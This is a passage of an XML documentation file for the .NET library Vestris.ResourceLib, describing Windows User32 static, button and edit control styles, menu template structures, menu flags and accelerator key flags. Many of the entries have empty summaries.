name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITERECT\">\n            <summary>\n            Specifies a rectangle filled with the current window background color. This color is white \n            in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKFRAME\">\n            <summary>\n            Specifies a box with a frame drawn in the same color as the window frames. \n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the screen background (desktop).\n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WHITEFRAME\">\n            <summary>\n            Specifies a box with a frame drawn with the same color as the window background. This color is \n            white in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_USERITEM\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SIMPLE\">\n            <summary>\n            Specifies a simple rectangle and displays a single line of left-aligned text in the rectangle.\n            The text line cannot be shortened or altered in any way. Also, if the control is disabled,\n            the control does not gray its text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFTNOWORDWRAP\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            Tabs are expanded, but words are not wrapped. Text that extends past the \n            end of a line is clipped.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_OWNERDRAW\">\n            <summary>\n            Specifies that the owner of the static control is responsible for drawing \n            the control. The owner window receives a WM_DRAWITEM message whenever the\n            control needs to be drawn.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BITMAP\">\n            <summary>\n            Specifies that a bitmap is to be displayed in the static control. \n            The text is the name of a bitmap (not a filename) defined elsewhere in the \n            resource file. The style ignores the nWidth and nHeight parameters; the control \n            automatically sizes itself to accommodate the bitmap.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENHMETAFILE\">\n            <summary>\n            Specifies that an enhanced metafile is to be displayed in the static control.\n            The text is the name of a metafile. An enhanced metafile static control has a \n            fixed size; the metafile is scaled to fit the static control's client area.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDHORZ\">\n            <summary>\n            Draws the top and bottom edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDVERT\">\n            <summary>\n            Draws the left and right edges of the static control using the EDGE_ETCHED edge style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ETCHEDFRAME\">\n            <summary>\n            Draws the frame of the static control using the EDGE_ETCHED edge style. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_TYPEMASK\">\n            <summary>\n            Windows 2000: A composite style bit that results from using the OR operator on \n            SS_* style bits. Can be used to mask out valid SS_* bits from a given bitmask.\n            Note that this is out of date and does not correctly include all valid styles.\n            Thus, you should not use this style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZECONTROL\">\n            <summary>\n            Windows XP or later: Adjusts the bitmap to fit the size of the static control.\n            For example, changing the locale can change the system font, and thus controls\n            might be resized. If a static control had a bitmap, the bitmap would no longer\n            fit the control. This style bit dictates automatic redimensioning of bitmaps \n            to fit their controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOPREFIX\">\n            <summary>\n            Prevents interpretation of any ampersand characters in the control's text as\n            accelerator prefix characters. These are displayed with the ampersand removed and \n            the next character in the string underlined. This static control style may be \n            included with any of the defined static controls. You can combine SS_NOPREFIX \n            with other styles. This can be useful when filenames or other strings that may \n            contain an ampersand must be displayed in a static control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_NOTIFY\">\n            <summary>\n            Sends the parent window STN_CLICKED, STN_DBLCLK, STN_DISABLE, and STN_ENABLE \n            notification messages when the user clicks or double-clicks the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTERIMAGE\">\n            <summary>\n            Specifies that a bitmap is centered in the static control that contains it. \n            The control is not resized, so that a bitmap too large for the control will \n            be clipped. If the static control contains a single line of text, the text \n            is centered vertically in the client area of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHTJUST\">\n            <summary>\n            Specifies that the lower right corner of a static control with the SS_BITMAP\n            or SS_ICON style is to remain fixed when the control is resized. Only the top\n            and left sides are adjusted to accommodate a new bitmap or icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_REALSIZEIMAGE\">\n            <summary>\n            Specifies that the actual resource width is used and the icon is loaded using\n            LoadImage. SS_REALSIZEIMAGE is always used in conjunction with SS_ICON. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_SUNKEN\">\n            <summary>\n            Draws a half-sunken border around a static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_EDITCONTROL\">\n            <summary>\n            Microsoft Windows 2000: Specifies that the static control duplicates the \n            text-displaying characteristics of a multiline edit control. Specifically, the \n            average character width is calculated in the same manner as with an edit control, \n            and the function does not display a partially visible last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ENDELLIPSIS\">\n            <summary>\n            Microsoft Windows NT or later: If the end of a string does not fit in the rectangle,\n            it is truncated and ellipses are added. If a word that is not at the end of the string \n            goes beyond the limits of the rectangle, it is truncated without ellipses. Using this \n            style will force the controls text to be on one line with no word wrap. Compare with \n            SS_PATHELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_PATHELLIPSIS\">\n            <summary>\n            Windows NT or later: Replaces characters in the middle of the string with ellipses so \n            that the result fits in the specified rectangle. If the string contains backslash (\\) \n            characters, SS_PATHELLIPSIS preserves as much as possible of the text after the last \n            backslash. Using this style will force the controls text to be on one line with no \n            word wrap. Compare with SS_ENDELLIPSIS and SS_WORDELLIPSIS.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_WORDELLIPSIS\">\n            <summary>\n            Windows NT or later: Truncates any word that does not fit in the rectangle and adds ellipses. \n            Using this style will force the controls text to be on one line with no word wrap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ELLIPSISMASK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ButtonControlStyles\">\n            <summary>\n            Push button styles.\n            http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBUTTON\">\n            <summary>\n            Creates a push button that posts a WM_COMMAND message to the owner window when the\n            user selects the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFPUSHBUTTON\">\n            <summary>\n            Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct\n            appearance. If the button is in a dialog box, the user can select the button by pressing\n            the ENTER key, even when the button does not have the input focus. This style is useful \n            for enabling the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CHECKBOX\">\n            <summary>\n            Creates a small, empty check box with text. By default, the text is displayed to\n            the right of the check box. To display the text to the left of the check box, \n            combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTOCHECKBOX\">\n            <summary>\n            Creates a button that is the same as a check box, except that the check state \n            automatically toggles between checked and cleared each time the user selects the\n            check box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RADIOBUTTON\">\n            <summary>\n            Creates a small circle with text. By default, the text is displayed to the right of the\n            circle. To display the text to the left of the circle, combine this flag with the \n            BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for \n            groups of related, but mutually exclusive choices.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_3STATE\">\n            <summary>\n            Creates a button that is the same as a check box, except that the box can be grayed\n            as well as checked or cleared. Use the grayed state to show that the state of the \n            check box is not determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTO3STATE\">\n            <summary>\n            Creates a button that is the same as a three-state check box, except that the box \n            changes its state when the user selects it. The state cycles through checked, \n            indeterminate, and cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_GROUPBOX\">\n            <summary>\n            Creates a rectangle in which other controls can be grouped. Any text associated with\n            this style is displayed in the rectangle's upper left corner.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_USERBUTTON\">\n            <summary>\n            Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications \n            should use BS_OWNERDRAW instead.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTORADIOBUTTON\">\n            <summary>\n            Creates a button that is the same as a radio button, except that when the user selects it,\n            the system automatically sets the button's check state to checked and automatically sets \n            the check state for all other buttons in the same group to cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBOX\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_OWNERDRAW\">\n            <summary>\n            Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual \n            aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other\n            button styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TYPEMASK\">\n            <summary>\n            Microsoft Windows 2000: A composite style bit that results from using the OR operator on\n            BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFTTEXT\">\n            <summary>\n            Places text on the left side of the radio button or check box when combined with a radio button\n            or check box style. Same as the BS_RIGHTBUTTON style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TEXT\">\n            <summary>\n            Specifies that the button displays text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_ICON\">\n            <summary>\n            Specifies that the button displays an icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BITMAP\">\n            <summary>\n            Specifies that the button displays a bitmap. See the Remarks section for its interaction\n            with BS_ICON.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFT\">\n            <summary>\n            Left-justifies the text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side\n            of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RIGHT\">\n            <summary>\n            Right-justifies text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right\n            side of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CENTER\">\n            <summary>\n            Centers text horizontally in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TOP\">\n            <summary>\n            Places text at the top of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BOTTOM\">\n            <summary>\n            Places text at the bottom of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_VCENTER\">\n            <summary>\n            Places text in the middle (vertically) of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHLIKE\">\n            <summary>\n            Makes a button (such as a check box, three-state check box, or radio button) look and \n            act like a push button. The button looks raised when it isn't pushed or checked, and \n            sunken when it is pushed or checked.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_MULTILINE\">\n            <summary>\n            Wraps the button text to multiple lines if the text string is too long to fit on a \n            single line in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_NOTIFY\">\n            <summary>\n            Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its \n            parent window. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_FLAT\">\n            <summary>\n            Specifies that the button is two-dimensional; it does not use the default \n            shading to create a 3-D image. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFSPLITBUTTON\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a \n            BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button \n            is in a dialog box, the user can select the split button by pressing the ENTER key, even \n            when the split button does not have the input focus. This style is useful for enabling\n            the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_COMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a\n            BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing\n            to the button text. A caption for the button text can be set by sending the BCM_SETNOTE\n            message to the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFCOMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like\n            a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the \n            command link button by pressing the ENTER key, even when the command link button does\n            not have the input focus. This style is useful for enabling the user to quickly select\n            the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.EditControlStyles\">\n            <summary>\n            Edit control styles.\n            http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LEFT\">\n            <summary>\n            Aligns text with the left margin.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_CENTER\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_RIGHT\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_MULTILINE\">\n            <summary>\n            Designates a multiline edit control. The default is single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_UPPERCASE\">\n            <summary>\n            Converts all characters to uppercase as they are typed into the edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LOWERCASE\">\n            <summary>\n            Converts all characters to lowercase as they are typed into the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_PASSWORD\">\n            <summary>\n            Displays an asterisk (*) for each character typed into the edit control. \n            This style is valid only for single-line edit controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOVSCROLL\">\n            <summary>\n            Automatically scrolls text up one page when the user presses the ENTER key on \n            the last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOHSCROLL\">\n            <summary>\n            Automatically scrolls text to the right by 10 characters when the user types\n            a character at the end of the line. When the user presses the ENTER key, \n            the control scrolls all text back to position zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NOHIDESEL\">\n            <summary>\n            Negates the default behavior for an edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_OEMCONVERT\">\n            <summary>\n            Converts text entered in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_READONLY\">\n            <summary>\n            Prevents the user from typing or editing text in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_WANTRETURN\">\n            <summary>\n            Specifies that a carriage return be inserted when the user presses the \n            ENTER key while entering text into a multiline edit control in a dialog box. \n            If you do not specify this style, pressing the ENTER key has the same effect\n            as pressing the dialog box's default push button. This style has no effect \n            on a single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NUMBER\">\n            <summary>\n            Allows only digits to be entered into the edit control. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUTEMPLATE\">\n            <summary>\n            Defines the header for a menu template. \n            A complete menu template consists of a header and one or more menu item lists. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wVersion\">\n            <summary>\n            Specifies the version number. This member must be zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wOffset\">\n            <summary>\n            Specifies the offset, in bytes, from the end of the header. \n            The menu item list begins at this offset. Usually, this member is zero, and the menu \n            item list follows immediately after the header. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUITEMTEMPLATE\">\n            <summary>\n            Defines a menu item in a menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUITEMTEMPLATE.mtOption\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the appearance of the menu item.\n             TODO\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXTEMPLATE\">\n            <summary>\n            Defines the header for an extended menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wVersion\">\n            <summary>\n            Template version number. This member must be 1 for extended menu templates.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wOffset\">\n            <summary>\n            Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of \n            this structure member. If the first item definition immediately follows the \n            dwHelpId member, this member should be 4. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE\">\n            <summary>\n            Drop-down menu or submenu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwType\">\n            <summary>\n            Menu item type. This member can be a combination of the type (beginning with MFT) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwState\">\n            <summary>\n            Menu item state. This member can be a combination of the state (beginning with MFS) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwMenuId\">\n            <summary>\n            Menu item identifier. This is an application-defined value that identifies the menu item. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.bResInfo\">\n            <summary>\n            Value specifying whether the menu item is the last item in the menu bar, drop-down menu, \n            submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuFlags\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the \n            appearance of the menu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_INSERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHANGE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_APPEND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DELETE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_REMOVE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYCOMMAND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYPOSITION\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_GRAYED\">\n            <summary>\n            Indicates that the menu item is initially inactive and drawn with a gray effect.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHECKED\">\n            <summary>\n            Indicates that the menu item has a check mark next to it.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_USECHECKBITMAPS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_OWNERDRAW\">\n            <summary>\n            Indicates that the owner window of the menu is responsible for drawing all visual \n            aspects of the menu item, including highlighted, selected, and inactive states. \n            This option is not valid for an item in a menu bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_POPUP\">\n            <summary>\n            Indicates that the item is one that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBARBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column. The old and new columns \n            are separated by a bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SYSMENU\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HELP\">\n            <summary>\n            Indicates that the menu item has a vertical separator to its left.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MOUSESELECT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_END\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBARBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_OWNERDRAW\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RADIOCHECK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTORDER\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_GRAYED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_CHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuResourceType\">\n            <summary>\n            Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut \n            menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more \n            of these values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Last\">\n            <summary>\n            Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Sub\">\n            <summary>\n            Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu \n            items in the corresponding drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ACCEL\">\n            <summary>\n            Defines an accelerator key used in an accelerator table.\n            http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.fVirt\">\n            <summary>\n            Accelerator flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.key\">\n            <summary>\n            Accelerator key. This member can be either a virtual-key code or an ASCII character code. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.cmd\">\n            <summary>\n            Accelerator identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.AcceleratorVirtualKey\">\n            <summary>\n            Flags, fVirt field of the Accelerator table structure.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.VIRTKEY\">\n            <summary>\n            Virtual key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.NOINVERT\">\n            <summary>\n            Specifies that no top-level menu item is highlighted when the accelerator is used. \n            This is useful when defining accelerators for actions such as scrolling that do not \n            correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be \n            highlighted (if possible) when the accelerator is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.SHIFT\">\n            <summary>\n            Causes the accelerator to be activated only if the SHIFT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.CONTROL\">\n            <summary>\n            Causes the accelerator to be activated only if the CONTROL key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member 